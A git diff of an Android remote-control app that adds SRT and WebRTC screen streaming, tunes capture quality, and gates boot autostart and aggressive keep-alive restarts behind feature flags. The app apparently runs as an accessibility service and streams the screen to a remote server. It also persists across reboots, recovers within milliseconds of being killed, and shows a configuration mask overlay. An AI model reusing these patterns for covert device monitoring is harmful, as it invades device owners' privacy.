Log.i(TAG, "收到画质调整: fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight}")
|
||||
if (fps in 1..30) {
|
||||
dynamicFps = fps
|
||||
Log.i(TAG, "帧率调整为: ${fps}fps (间隔${1000 / fps}ms)")
|
||||
}
|
||||
if (quality in 20..90) {
|
||||
dynamicQuality = quality
|
||||
Log.i(TAG, "JPEG质量调整为: $quality")
|
||||
}
|
||||
if (maxWidth in 240..1920) {
|
||||
dynamicMaxWidth = maxWidth
|
||||
Log.i(TAG, "最大宽度调整为: $maxWidth")
|
||||
}
|
||||
if (maxHeight in 320..2560) {
|
||||
dynamicMaxHeight = maxHeight
|
||||
Log.i(TAG, "最大高度调整为: $maxHeight")
|
||||
}
|
||||
// 测试阶段锁定固定档位,避免前端/服务端动态参数导致分辨率抖动和拉伸。
|
||||
dynamicFps = CAPTURE_FPS
|
||||
dynamicQuality = CAPTURE_QUALITY
|
||||
dynamicMaxWidth = MAX_WIDTH
|
||||
dynamicMaxHeight = MAX_HEIGHT
|
||||
Log.i(
|
||||
TAG,
|
||||
"忽略动态画质调整,保持固定档位: ${CAPTURE_FPS}fps, quality=$CAPTURE_QUALITY, ${MAX_WIDTH}x${MAX_HEIGHT} (requested fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight})"
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* 切换到无障碍截图模式(由服务端指令触发)
|
||||
* 已禁用:不再允许服务端黑帧检测触发模式切换,避免误判导致权限回退
|
||||
*/
|
||||
fun switchToAccessibilityMode() {
|
||||
Log.i(TAG, "收到切换无障碍截图模式指令,已忽略(禁止服务端触发模式切换)")
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
|
||||
Log.w(TAG, "当前系统版本不支持无障碍截图模式,保持MediaProjection模式")
|
||||
return
|
||||
}
|
||||
if (useAccessibilityScreenshot) {
|
||||
Log.d(TAG, "已经在无障碍截图模式,跳过切换")
|
||||
return
|
||||
}
|
||||
Log.i(TAG, "切换到无障碍截图模式")
|
||||
stopCapture()
|
||||
enableAccessibilityScreenshotMode()
|
||||
startCapture()
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1817,7 +1820,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val socketIOManager = service.getSocketIOManager()
|
||||
if (socketIOManager != null && socketIOManager.isConnected()) {
|
||||
socketIOManager.sendScreenData(frameData)
|
||||
Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
|
||||
success = true
|
||||
// Reset throttle counter on success
|
||||
if (socketUnavailableLogCount > 0) {
|
||||
@@ -3215,4 +3217,4 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
generateTestImage()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ import android.os.Looper
|
||||
import android.util.Log
|
||||
import com.hikoncont.MediaProjectionHolder
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
import kotlinx.coroutines.*
|
||||
import java.util.concurrent.atomic.AtomicBoolean
|
||||
import java.util.concurrent.atomic.AtomicInteger
|
||||
@@ -485,7 +486,7 @@ class SmartMediaProjectionManager(
|
||||
addAction(Intent.ACTION_USER_PRESENT)
|
||||
addAction("android.mycustrecev.USER_STOPPED_PROJECTION")
|
||||
}
|
||||
context.registerReceiver(systemStateReceiver, filter)
|
||||
context.registerReceiverCompat(systemStateReceiver, filter)
|
||||
Log.i(TAG, "✅ 已注册系统状态监听")
|
||||
}
|
||||
|
||||
@@ -679,4 +680,4 @@ class SmartMediaProjectionManager(
|
||||
Log.e(TAG, "❌ 清理失败", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
417
app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt
Normal file
417
app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt
Normal file
@@ -0,0 +1,417 @@
|
||||
package com.hikoncont.manager
|
||||
|
||||
import android.media.projection.MediaProjection
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import androidx.annotation.RequiresApi
|
||||
import com.hikoncont.MediaProjectionHolder
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import com.pedro.common.ConnectChecker
|
||||
import com.pedro.common.VideoCodec
|
||||
import com.pedro.encoder.input.sources.audio.NoAudioSource
|
||||
import com.pedro.encoder.input.sources.video.ScreenSource
|
||||
import com.pedro.library.srt.SrtStream
|
||||
import org.json.JSONObject
|
||||
import kotlin.math.roundToInt
|
||||
|
||||
@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
|
||||
class SrtStreamManager(
|
||||
private val service: AccessibilityRemoteService,
|
||||
private val listener: Listener
|
||||
) {
|
||||
|
||||
interface Listener {
|
||||
fun onStateChanged(state: String, message: String, extra: JSONObject? = null)
|
||||
}
|
||||
|
||||
data class StartResult(
|
||||
val success: Boolean,
|
||||
val message: String,
|
||||
val extra: JSONObject? = null
|
||||
)
|
||||
|
||||
companion object {
|
||||
private const val TAG = "SrtStreamManager"
|
||||
private const val MIN_FPS = 20
|
||||
private const val MAX_FPS = 60
|
||||
private const val MIN_LONG_EDGE = 360
|
||||
private const val MAX_LONG_EDGE = 1920
|
||||
private const val MIN_BITRATE_BPS = 500_000
|
||||
private const val MAX_BITRATE_BPS = 12_000_000
|
||||
}
|
||||
|
||||
private enum class StreamPriority(val wireValue: String) {
|
||||
SMOOTH("smooth"),
|
||||
BALANCED("balanced"),
|
||||
QUALITY("quality");
|
||||
|
||||
companion object {
|
||||
fun fromRaw(raw: String?): StreamPriority {
|
||||
return when (raw?.trim()?.lowercase()) {
|
||||
QUALITY.wireValue -> QUALITY
|
||||
BALANCED.wireValue -> BALANCED
|
||||
else -> SMOOTH
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private data class Session(
|
||||
val deviceId: String,
|
||||
val clientId: String,
|
||||
val ingestUrl: String,
|
||||
val width: Int,
|
||||
val height: Int,
|
||||
val fps: Int,
|
||||
val priority: String,
|
||||
val maxLongEdge: Int,
|
||||
val bitrateBps: Int,
|
||||
val startedAt: Long
|
||||
)
|
||||
|
||||
private val stateLock = Any()
|
||||
private var stream: SrtStream? = null
|
||||
private var session: Session? = null
|
||||
private var lastBitrateBps = 0L
|
||||
|
||||
fun isRuntimeSupported(): Boolean {
|
||||
// Dependency exists at compile-time; runtime check is kept explicit for clarity.
|
||||
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
|
||||
}
|
||||
|
||||
fun isStreaming(): Boolean = synchronized(stateLock) {
|
||||
stream?.isStreaming == true
|
||||
}
|
||||
|
||||
fun start(
|
||||
deviceId: String,
|
||||
clientId: String,
|
||||
ingestUrl: String,
|
||||
requestedFps: Int? = null,
|
||||
requestedMaxLongEdge: Int? = null,
|
||||
requestedBitrateKbps: Int? = null,
|
||||
priorityRaw: String? = null
|
||||
): StartResult {
|
||||
if (!isRuntimeSupported()) {
|
||||
return StartResult(false, "srt_runtime_not_supported")
|
||||
}
|
||||
if (ingestUrl.isBlank() || !ingestUrl.startsWith("srt://", ignoreCase = true)) {
|
||||
return StartResult(false, "invalid_srt_ingest_url")
|
||||
}
|
||||
|
||||
val projection = MediaProjectionHolder.getMediaProjection()
|
||||
?: return StartResult(false, "media_projection_not_ready")
|
||||
|
||||
val screenConfig = buildScreenConfig(
|
||||
requestedFps = requestedFps,
|
||||
requestedMaxLongEdge = requestedMaxLongEdge,
|
||||
requestedBitrateKbps = requestedBitrateKbps,
|
||||
priorityRaw = priorityRaw
|
||||
)
|
||||
val preparedExtra = JSONObject().apply {
|
||||
put("width", screenConfig.width)
|
||||
put("height", screenConfig.height)
|
||||
put("fps", screenConfig.fps)
|
||||
put("bitrateBps", screenConfig.bitrateBps)
|
||||
put("priority", screenConfig.priority)
|
||||
put("maxLongEdge", screenConfig.maxLongEdge)
|
||||
if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge)
|
||||
if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps)
|
||||
put("ingestUrl", ingestUrl)
|
||||
}
|
||||
|
||||
synchronized(stateLock) {
|
||||
stopInternalLocked()
|
||||
|
||||
val checker = createConnectChecker()
|
||||
val newStream = try {
|
||||
createStream(projection, checker)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Create SRT stream failed", e)
|
||||
return StartResult(false, "srt_stream_create_failed:${e.message ?: "unknown"}")
|
||||
}
|
||||
|
||||
val videoPrepared = try {
|
||||
newStream.prepareVideo(
|
||||
screenConfig.width,
|
||||
screenConfig.height,
|
||||
screenConfig.bitrateBps,
|
||||
screenConfig.fps,
|
||||
1,
|
||||
0
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Prepare SRT video failed", e)
|
||||
false
|
||||
}
|
||||
|
||||
if (!videoPrepared) {
|
||||
try {
|
||||
newStream.release()
|
||||
} catch (_: Exception) {
|
||||
}
|
||||
return StartResult(false, "srt_prepare_video_failed", preparedExtra)
|
||||
}
|
||||
|
||||
// Keep encoder pipeline initialized even when sending video-only.
|
||||
val audioPrepared = try {
|
||||
newStream.prepareAudio(32_000, false, 32 * 1000)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Prepare SRT audio failed", e)
|
||||
false
|
||||
}
|
||||
|
||||
if (!audioPrepared) {
|
||||
try {
|
||||
newStream.release()
|
||||
} catch (_: Exception) {
|
||||
}
|
||||
return StartResult(false, "srt_prepare_audio_failed", preparedExtra)
|
||||
}
|
||||
|
||||
stream = newStream
|
||||
session = Session(
|
||||
deviceId = deviceId,
|
||||
clientId = clientId,
|
||||
ingestUrl = ingestUrl,
|
||||
width = screenConfig.width,
|
||||
height = screenConfig.height,
|
||||
fps = screenConfig.fps,
|
||||
priority = screenConfig.priority,
|
||||
maxLongEdge = screenConfig.maxLongEdge,
|
||||
bitrateBps = screenConfig.bitrateBps,
|
||||
startedAt = System.currentTimeMillis()
|
||||
)
|
||||
lastBitrateBps = 0L
|
||||
|
||||
listener.onStateChanged("starting", "srt_connecting", preparedExtra)
|
||||
|
||||
try {
|
||||
newStream.startStream(ingestUrl)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Start SRT stream failed", e)
|
||||
stopInternalLocked()
|
||||
return StartResult(
|
||||
success = false,
|
||||
message = "srt_start_failed:${e.message ?: "unknown"}",
|
||||
extra = preparedExtra
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
return StartResult(true, "srt_starting", preparedExtra)
|
||||
}
|
||||
|
||||
fun stop(reason: String = "remote_stop"): Boolean {
|
||||
val hasSession = synchronized(stateLock) {
|
||||
val exists = stream != null || session != null
|
||||
stopInternalLocked()
|
||||
exists
|
||||
}
|
||||
|
||||
if (hasSession) {
|
||||
listener.onStateChanged(
|
||||
state = "stopped",
|
||||
message = "srt_stopped",
|
||||
extra = JSONObject().apply { put("reason", reason) }
|
||||
)
|
||||
}
|
||||
|
||||
return hasSession
|
||||
}
|
||||
|
||||
fun release() {
|
||||
synchronized(stateLock) {
|
||||
stopInternalLocked()
|
||||
}
|
||||
}
|
||||
|
||||
private data class ScreenConfig(
|
||||
val width: Int,
|
||||
val height: Int,
|
||||
val fps: Int,
|
||||
val priority: String,
|
||||
val maxLongEdge: Int,
|
||||
val bitrateBps: Int
|
||||
)
|
||||
|
||||
private fun buildScreenConfig(
|
||||
requestedFps: Int?,
|
||||
requestedMaxLongEdge: Int?,
|
||||
requestedBitrateKbps: Int?,
|
||||
priorityRaw: String?
|
||||
): ScreenConfig {
|
||||
val metrics = service.resources.displayMetrics
|
||||
val rawWidth = metrics.widthPixels.coerceAtLeast(2)
|
||||
val rawHeight = metrics.heightPixels.coerceAtLeast(2)
|
||||
|
||||
val priority = StreamPriority.fromRaw(priorityRaw)
|
||||
val defaultFps = when (priority) {
|
||||
StreamPriority.SMOOTH -> 40
|
||||
StreamPriority.BALANCED -> 45
|
||||
StreamPriority.QUALITY -> 50
|
||||
}
|
||||
val defaultLongEdge = when (priority) {
|
||||
StreamPriority.SMOOTH -> 960
|
||||
StreamPriority.BALANCED -> 1152
|
||||
StreamPriority.QUALITY -> 1280
|
||||
}
|
||||
val bitrateFactor = when (priority) {
|
||||
StreamPriority.SMOOTH -> 0.055
|
||||
StreamPriority.BALANCED -> 0.075
|
||||
StreamPriority.QUALITY -> 0.10
|
||||
}
|
||||
val profileMinBitrate = when (priority) {
|
||||
StreamPriority.SMOOTH -> 700_000
|
||||
StreamPriority.BALANCED -> 1_000_000
|
||||
StreamPriority.QUALITY -> 1_300_000
|
||||
}
|
||||
val profileMaxBitrate = when (priority) {
|
||||
StreamPriority.SMOOTH -> 4_000_000
|
||||
StreamPriority.BALANCED -> 7_000_000
|
||||
StreamPriority.QUALITY -> MAX_BITRATE_BPS
|
||||
}
|
||||
|
||||
val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS)
|
||||
val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
|
||||
|
||||
val sourceLong = maxOf(rawWidth, rawHeight)
|
||||
val sourceShort = minOf(rawWidth, rawHeight)
|
||||
val scale = if (sourceLong > maxLongEdge) {
|
||||
maxLongEdge.toFloat() / sourceLong.toFloat()
|
||||
} else {
|
||||
1f
|
||||
}
|
||||
|
||||
val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2)
|
||||
val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2)
|
||||
|
||||
val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort)
|
||||
val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong)
|
||||
|
||||
val requestedBitrateBps = requestedBitrateKbps
|
||||
?.takeIf { it > 0 }
|
||||
?.let { it * 1000 }
|
||||
val bitrateEstimate = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor).toLong()
|
||||
.coerceAtLeast(MIN_BITRATE_BPS.toLong())
|
||||
.coerceAtMost(MAX_BITRATE_BPS.toLong())
|
||||
.toInt()
|
||||
val bitrateBps = (requestedBitrateBps ?: bitrateEstimate)
|
||||
.coerceIn(profileMinBitrate, profileMaxBitrate)
|
||||
.coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS)
|
||||
|
||||
return ScreenConfig(
|
||||
width = width,
|
||||
height = height,
|
||||
fps = fps,
|
||||
priority = priority.wireValue,
|
||||
maxLongEdge = maxLongEdge,
|
||||
bitrateBps = bitrateBps
|
||||
)
|
||||
}
|
||||
|
||||
private fun toEven(value: Int): Int {
|
||||
val safe = value.coerceAtLeast(2)
|
||||
return if (safe % 2 == 0) safe else safe - 1
|
||||
}
|
||||
|
||||
private fun createStream(projection: MediaProjection, checker: ConnectChecker): SrtStream {
|
||||
val screenSource = ScreenSource(service.applicationContext, projection)
|
||||
val audioSource = NoAudioSource()
|
||||
return SrtStream(service.applicationContext, checker, screenSource, audioSource).apply {
|
||||
setVideoCodec(VideoCodec.H264)
|
||||
val client = getStreamClient()
|
||||
client.setReTries(2)
|
||||
client.setOnlyVideo(true)
|
||||
client.setLogs(false)
|
||||
}
|
||||
}
|
||||
|
||||
private fun createConnectChecker(): ConnectChecker {
|
||||
return object : ConnectChecker {
|
||||
override fun onConnectionStarted(url: String) {
|
||||
listener.onStateChanged(
|
||||
state = "starting",
|
||||
message = "srt_connection_started",
|
||||
extra = JSONObject().apply { put("url", url) }
|
||||
)
|
||||
}
|
||||
|
||||
override fun onConnectionSuccess() {
|
||||
val current = synchronized(stateLock) { session }
|
||||
listener.onStateChanged(
|
||||
state = "running",
|
||||
message = "srt_connection_success",
|
||||
extra = JSONObject().apply {
|
||||
put("bitrateBps", lastBitrateBps)
|
||||
put("width", current?.width ?: 0)
|
||||
put("height", current?.height ?: 0)
|
||||
put("fps", current?.fps ?: 0)
|
||||
put("priority", current?.priority ?: StreamPriority.SMOOTH.wireValue)
|
||||
put("maxLongEdge", current?.maxLongEdge ?: 0)
|
||||
put("startedAt", current?.startedAt ?: 0)
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
override fun onConnectionFailed(reason: String) {
|
||||
Log.w(TAG, "SRT connection failed: $reason")
|
||||
synchronized(stateLock) {
|
||||
stopInternalLocked()
|
||||
}
|
||||
listener.onStateChanged(
|
||||
state = "failed",
|
||||
message = "srt_connection_failed:$reason"
|
||||
)
|
||||
}
|
||||
|
||||
override fun onDisconnect() {
|
||||
val hadSession = synchronized(stateLock) {
|
||||
val active = stream != null || session != null
|
||||
stopInternalLocked()
|
||||
active
|
||||
}
|
||||
|
||||
if (hadSession) {
|
||||
listener.onStateChanged(
|
||||
state = "stopped",
|
||||
message = "srt_disconnected"
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
override fun onAuthError() {
|
||||
listener.onStateChanged("failed", "srt_auth_error")
|
||||
}
|
||||
|
||||
override fun onAuthSuccess() {
|
||||
listener.onStateChanged("running", "srt_auth_success")
|
||||
}
|
||||
|
||||
override fun onNewBitrate(bitrate: Long) {
|
||||
lastBitrateBps = bitrate
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopInternalLocked() {
|
||||
val old = stream
|
||||
stream = null
|
||||
session = null
|
||||
|
||||
if (old != null) {
|
||||
try {
|
||||
if (old.isStreaming) {
|
||||
old.stopStream()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Stop SRT stream failed", e)
|
||||
}
|
||||
try {
|
||||
old.release()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Release SRT stream failed", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
1110
app/src/main/java/com/hikoncont/manager/WebRTCManager.kt
Normal file
1110
app/src/main/java/com/hikoncont/manager/WebRTCManager.kt
Normal file
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -6,6 +6,8 @@ import android.content.Intent
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.hikoncont.service.RemoteControlForegroundService
|
||||
import com.hikoncont.util.DeviceMetricsReporter
|
||||
import com.hikoncont.util.RuntimeFeatureFlags
|
||||
|
||||
/**
|
||||
* 开机自启动接收器 - 参考 f 目录的 SelfStartRunUse
|
||||
@@ -19,14 +21,35 @@ class BootReceiver : BroadcastReceiver() {
|
||||
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
Log.i(TAG, "🔄 收到系统广播: ${intent.action}")
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
|
||||
when (intent.action) {
|
||||
Intent.ACTION_BOOT_COMPLETED -> {
|
||||
if (!flags.bootAutoStart) {
|
||||
Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false,跳过开机自启动")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "boot_autostart_skipped",
|
||||
success = false,
|
||||
data = mapOf("action" to Intent.ACTION_BOOT_COMPLETED)
|
||||
)
|
||||
return
|
||||
}
|
||||
// ✅ 参考 f 目录的 SelfStartRunUse:只启动主前台服务
|
||||
Log.i(TAG, "🚀 系统启动完成,启动主前台服务(参考 f 目录策略)")
|
||||
startMainForegroundService(context)
|
||||
}
|
||||
"android.intent.action.QUICKBOOT_POWERON" -> {
|
||||
if (!flags.bootAutoStart) {
|
||||
Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false,跳过快速开机自启动")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "boot_autostart_skipped",
|
||||
success = false,
|
||||
data = mapOf("action" to "android.intent.action.QUICKBOOT_POWERON")
|
||||
)
|
||||
return
|
||||
}
|
||||
// 小米等设备的快速开机
|
||||
Log.i(TAG, "⚡ 快速开机完成,启动主前台服务")
|
||||
startMainForegroundService(context)
|
||||
@@ -55,9 +78,24 @@ class BootReceiver : BroadcastReceiver() {
|
||||
context.startService(intent)
|
||||
}
|
||||
Log.i(TAG, "✅ 主前台服务已启动(参考 f 目录的 BackRunServerUseUse)")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "boot_foreground_service_start",
|
||||
success = true,
|
||||
data = mapOf("source" to "boot_receiver")
|
||||
)
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动主前台服务失败", e)
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = context,
|
||||
metricName = "boot_foreground_service_start",
|
||||
success = false,
|
||||
data = mapOf(
|
||||
"source" to "boot_receiver",
|
||||
"error" to (e.message ?: "unknown")
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,4 +112,4 @@ class BootReceiver : BroadcastReceiver() {
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -11,6 +11,7 @@ import android.content.IntentFilter
|
||||
import android.os.PowerManager
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationCompat
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
import kotlinx.coroutines.*
|
||||
|
||||
/**
|
||||
@@ -120,7 +121,7 @@ class BackgroundKeepAliveManager(private val context: Context) {
|
||||
addAction(Intent.ACTION_USER_PRESENT)
|
||||
// ✅ 参考 f 目录:已移除重启无障碍服务广播监听
|
||||
}
|
||||
context.registerReceiver(backgroundReceiver, filter)
|
||||
context.registerReceiverCompat(backgroundReceiver, filter)
|
||||
Log.i(TAG, "📡 后台保活广播接收器已注册")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
|
||||
|
||||
@@ -22,6 +22,7 @@ import android.widget.ProgressBar
|
||||
import androidx.core.app.NotificationCompat
|
||||
import com.hikoncont.R
|
||||
import com.hikoncont.service.modules.ConfigProgressManager
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
|
||||
/**
|
||||
* 配置遮盖服务
|
||||
@@ -102,11 +103,11 @@ class ConfigMaskService : Service() {
|
||||
val filter = IntentFilter().apply {
|
||||
addAction("android.mycustrecev.HIDE_CONFIG_MASK")
|
||||
}
|
||||
registerReceiver(hideReceiver, filter)
|
||||
registerReceiverCompat(hideReceiver, filter)
|
||||
|
||||
// 注册进度更新广播接收器
|
||||
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
|
||||
registerReceiver(progressReceiver, progressFilter)
|
||||
registerReceiverCompat(progressReceiver, progressFilter)
|
||||
Log.i(TAG, "✅ ConfigMaskService进度更新广播接收器注册成功")
|
||||
Log.i(TAG, "📡 ConfigMaskService监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
|
||||
|
||||
@@ -392,4 +393,4 @@ class ConfigMaskService : Service() {
|
||||
.setOngoing(true)
|
||||
.build()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,9 @@ import android.os.Build
|
||||
import android.os.PowerManager
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationCompat
|
||||
import com.hikoncont.util.DeviceDetector
|
||||
import com.hikoncont.util.ForegroundServiceStarter
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
import kotlinx.coroutines.*
|
||||
|
||||
/**
|
||||
@@ -19,7 +22,6 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "EffectiveKeepAlive"
|
||||
private const val CHECK_INTERVAL = 500L // ✅ 激进:500ms检查一次,快速发现问题
|
||||
private const val NOTIFICATION_ID = 8888
|
||||
}
|
||||
|
||||
@@ -28,6 +30,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
private var wakeLock: PowerManager.WakeLock? = null
|
||||
private var isMonitoring = false
|
||||
private var notificationManager: NotificationManager? = null
|
||||
private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() }
|
||||
|
||||
/**
|
||||
* 开始有效保活监控
|
||||
@@ -94,7 +97,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
releaseWakeLock()
|
||||
|
||||
// 被系统或清理工具杀死时,安排自恢复(还原KeepAliveService的逻辑)
|
||||
scheduleSelfAndCoreRestart(50L) // ✅ 激进:50ms极速恢复
|
||||
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
|
||||
|
||||
// 取消监控任务
|
||||
monitorJob?.cancel()
|
||||
@@ -106,7 +109,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
*/
|
||||
fun onTaskRemoved() {
|
||||
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复")
|
||||
scheduleSelfAndCoreRestart(50L) // ✅ 激进:50ms极速恢复
|
||||
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -180,7 +183,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
addAction(Intent.ACTION_MY_PACKAGE_REPLACED)
|
||||
addAction(Intent.ACTION_PACKAGE_REPLACED)
|
||||
}
|
||||
context.registerReceiver(systemEventReceiver, filter)
|
||||
context.registerReceiverCompat(systemEventReceiver, filter)
|
||||
Log.i(TAG, "📡 系统事件接收器已注册")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 注册系统事件接收器失败", e)
|
||||
@@ -207,10 +210,10 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
while (isActive && isMonitoring) {
|
||||
try {
|
||||
performKeepAliveActions()
|
||||
delay(CHECK_INTERVAL)
|
||||
delay(keepAlivePolicy.keepAliveCheckIntervalMs)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 有效保活监控过程中发生错误", e)
|
||||
delay(CHECK_INTERVAL)
|
||||
delay(keepAlivePolicy.keepAliveCheckIntervalMs)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -335,10 +338,13 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
*/
|
||||
private fun ensureForegroundService() {
|
||||
try {
|
||||
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
|
||||
serviceIntent.action = "ENSURE_FOREGROUND"
|
||||
context.startForegroundService(serviceIntent)
|
||||
Log.d(TAG, "✅ 已确保前台服务运行")
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = context,
|
||||
action = "ENSURE_FOREGROUND",
|
||||
reason = "effective_keepalive_ensure",
|
||||
minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 已执行前台服务确保逻辑")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 确保前台服务运行失败", e)
|
||||
}
|
||||
@@ -421,6 +427,10 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
Log.e(TAG, "❌ 启动多重保活机制失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
private fun getRecoveryDelayMs(): Long {
|
||||
return if (keepAlivePolicy.enableAggressiveWorkers) 50L else 1500L
|
||||
}
|
||||
|
||||
/**
|
||||
* AlarmManager保活机制
|
||||
|
||||
@@ -4,6 +4,8 @@ import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.util.Log
|
||||
import com.hikoncont.util.DeviceMetricsReporter
|
||||
import com.hikoncont.util.RuntimeFeatureFlags
|
||||
import kotlinx.coroutines.*
|
||||
|
||||
/**
|
||||
@@ -23,6 +25,7 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
|
||||
try {
|
||||
val action = intent.action
|
||||
Log.i(TAG, "📡 收到系统事件广播: $action")
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
|
||||
when (action) {
|
||||
Intent.ACTION_BOOT_COMPLETED,
|
||||
@@ -33,6 +36,10 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
|
||||
Intent.ACTION_PACKAGE_ADDED,
|
||||
Intent.ACTION_PACKAGE_REPLACED,
|
||||
"android.mycustrecev.RESTART_SERVICES" -> {
|
||||
if (!flags.enhancedEventRecovery) {
|
||||
Log.i(TAG, "⏭️ enhancedEventRecovery=false,忽略系统事件恢复: $action")
|
||||
return
|
||||
}
|
||||
// 异步处理服务重启
|
||||
CoroutineScope(Dispatchers.IO).launch {
|
||||
handleServiceRestart(context, action)
|
||||
@@ -86,6 +93,12 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
|
||||
*/
|
||||
private fun startAllKeepAliveServices(context: Context) {
|
||||
try {
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
if (!flags.enhancedEventRecovery) {
|
||||
Log.i(TAG, "⏭️ enhancedEventRecovery=false,跳过保活服务重启")
|
||||
return
|
||||
}
|
||||
|
||||
Log.i(TAG, "🚀 启动保活服务(参考 f 目录策略)")
|
||||
|
||||
// ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse)
|
||||
@@ -98,12 +111,31 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
|
||||
Log.i(TAG, "✅ 主前台服务已启动")
|
||||
|
||||
// ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager)
|
||||
WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
|
||||
Log.i(TAG, "✅ WorkManager保活已启动")
|
||||
if (flags.workManagerKeepAlive) {
|
||||
WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
|
||||
Log.i(TAG, "✅ WorkManager保活已启动")
|
||||
} else {
|
||||
Log.i(TAG, "⏭️ workManagerKeepAlive=false,跳过WorkManager保活")
|
